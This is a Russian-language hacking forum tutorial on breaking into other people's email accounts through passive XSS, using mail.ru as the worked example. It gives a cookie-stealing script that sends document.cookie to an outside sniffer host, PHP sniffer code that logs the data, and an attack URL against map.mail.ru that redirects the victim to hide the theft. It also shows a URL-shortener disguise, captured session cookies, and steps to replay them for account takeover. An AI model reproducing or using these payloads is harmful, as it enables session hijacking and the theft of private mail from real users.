Самый простой способ залезть в чужой почтовый ящик (
Реализация пассивных XSS ) :
( к прочтению тех у кого на форуме сообщений <= 1 )
I) Введение
Несколько вводных моментов, для того чтоб понять что происходит:
1) XSS (Cross Site Scripting) - уязвимость веб-приложения которая позволяет вставить html код в страницу
2) Cookies ( http://old.antichat.ru/txt/old/cookie.shtml ) в них как правило содержится сессия - это информация по которой идёт идентификация пользователей ( иногда сессия содержится в URL )
3) С помощью XSS можно перехватить сессию пользователя - мы вставляем в страничку код сткриптового языка (в данном случае это javascript), который выполняется в браузере жертвы. Делается это так :
в переменной
document.cookies содержаться соответственно cookies пользователя. Наш javascritp создаёт картинку с именем img и присваиваем атрибуту src ссылку http://mayor.jino-net.ru/sniffer.php?значения_cookies , после знака '?' идут cookies и при загрузки рисунка наш скрипт sniffer.php получит эти данные в параметре
QERTY_STRING
Код HTML:
<script>img = new Image(); img.src= "http://mayor.jino-net.ru/sniffer.php?"+escape(document.cookie);</script>
( функция escape кодирует данные в юникод, это делается для того чтобы если в значения cookies встретиться какой-то управляющий символ, например - #, после него данные не отсекались. При использовании этой функции надо не забыть расшифровать куки пришедшие на сниффер (в php это функция urldecode() ) )
4) Сниффер - скрипт, получающий данные от пользователя и записывающий их в файл. Вот самый простой пример сниффера написанного на php :
PHP код:
<?php
$fp=fopen("log.html","a+t");
fputs($fp,"
Время: ".date("[D d/m/Y H:i]")."<br>
IP: ".$_SERVER['REMOTE_ADDR']."<br>
Откуда: ".htmlentities($_SERVER['HTTP_REFERER'])."<br>
Браузер: ".$_SERVER['HTTP_USER_AGENT']."<br>
QUERY_STRING: ".$_SERVER['QUERY_STRING']."<br><br>
");
fclose($fp);
?>
Идеальным вариантом будет найти активную XSS ( это те которые посылаются в теле письма, т е скрипт выполняется при открытии письма ), находить такие XSS всё сложнее, а вот пассивных XSS хватает даже на очень популярных почтовых системах ( это такие XSS который требуют участие жертвы в их исполнение - жертва должна кликнуть по ссылке, html код вставляется в страницу через параметры передаваемые странице в URL )
Такие XSS находить очень просто:
1) Смотрим в каком домене устанавливаются cookies. Для этого регистрируем себе ящик на том сервере, где хотим найти XSS, и заходим в свой ящик через программку
minibrowser ( скачать программку можно тут - http://mayor.narod.ru/minibrowser.rar ), открываем вкладку cookies и смотрим значение domain, вот в этом домене и в доменах младшего уровня мы и будем искать пассивную XSS
2) Вставляем в параметр ссылки , значение которого, как вам кажется, попадают на страницу, следующий код:
Код HTML:
"'><script>alert('XSS!')</script>
и если вылезет алерт с текстом XSS! то мы нашли что искали
--------------------------------------------------------------------------------------
II) Реализация пассивной XSS на примере mail.ru
Итак мы нашли пассивную XSS
Код HTML:
http://map.mail.ru/rus/print.asp?gst=rus_mail&w=1&h=1&vis="'><script>alert()</script>
Вставим туда наш скрипт который отправит cookies нам на сниффер, а для конспирации перекинем жертву на другую страничку, например на рисунок:
Код HTML:
http://map.mail.ru/rus/print.asp?gst=rus_mail&w=1&h=1&vis="'><script>img=new/**/Image();img.src="http://mayor.jino-net.ru/sniffer.php?"+document.cookie;location.href="http://images.cards.mail.ru/snovimgodom1.jpg"</script>
Подсунуть жертве такую ссылку, так чтоб по ней перешли, сложно, поэтому идём на
ShortUrl.ru и создаём редирект, вот он:
http://surl.ru/snovimgodom1.jpg
Посмотреть можно
тут
После того как жертва перешла по ссылке идём на наш снифер и там видим что-то вроде :
Mpop=1158589439:5f414670775c567219050219091d001b03 0d004f6a5d5e465e070d051b00770b1f44544b5c5fd5001080 f031659584743174345:mayor@list.ru:; mrcu=808244948A287F383B4D0100007F; p=FjoAAMr3WwAA; MailUser=1; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAELwgcA; p_sid=0271b370d2e915582646a6b5b1a667c3; c56=0rpHRQAAAABkawEAAAAA; c8=wxNBRQAAAAELigMAAAAAAQdUAgAAAAABB1gBAAAAAAEYTgE AAAAAASHUAgAAAAABIk8BAAAAAAEh1QEAAAAAARW6AQAAAAABB rACAAAAAAEG7AIAAAAA;
Теперь нам нужно подделать cookies, для этого мы используем программку minibrowser
Разбиваем cookies вот так , т е каждый параметр на своей строке и в конце точка с запятой
Код:
Mpop=1158589439:5f414670775c567219050219091d001b030d004f6a5d5e465e070d051b00770b1f44544b5c5fd5001080f031659584743174345:mayor@list.ru:;
mrcu=808244948A287F383B4D0100007F;
p=FjoAAMr3WwAA;
MailUser=1;
t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAELwgcA;
p_sid=0271b370d2e915582646a6b5b1a667c3;
c56=0rpHRQAAAABkawEAAAAA;
c8=wxNBRQAAAAELigMAAAAAAQdUAgAAAAABB1gBAAAAAAEYTgEAAAAAASHUAgAAAAABIk8BAAAAAAEh1QEAAAAAARW6AQAAAAABBrACAAAAAAEG7AIAAAAA;
Открываем minibrowser и вставляем в поле URL http://mail.ru/ , нажимаем GET , заходим в свой ящик, затем во вкладку "Сookies" вместо того что там находиться, вставляем куки со сниффера и нажимаем GET и если сессия не привязана к ip (что встретишь не часто), то мы в чужом ящике. Сессия на mail.ru "живёт", несколько часов, так что проделывать это нужно сразу, после того как cookies пришли на сиффер
Остается добавить, что большое количество пользователей ставить одинаковые пароли, как на почтовый ящик, так и на различные форумы, чаты и тд, с которых приходят подтверждения о регистрации с логином и паролем ...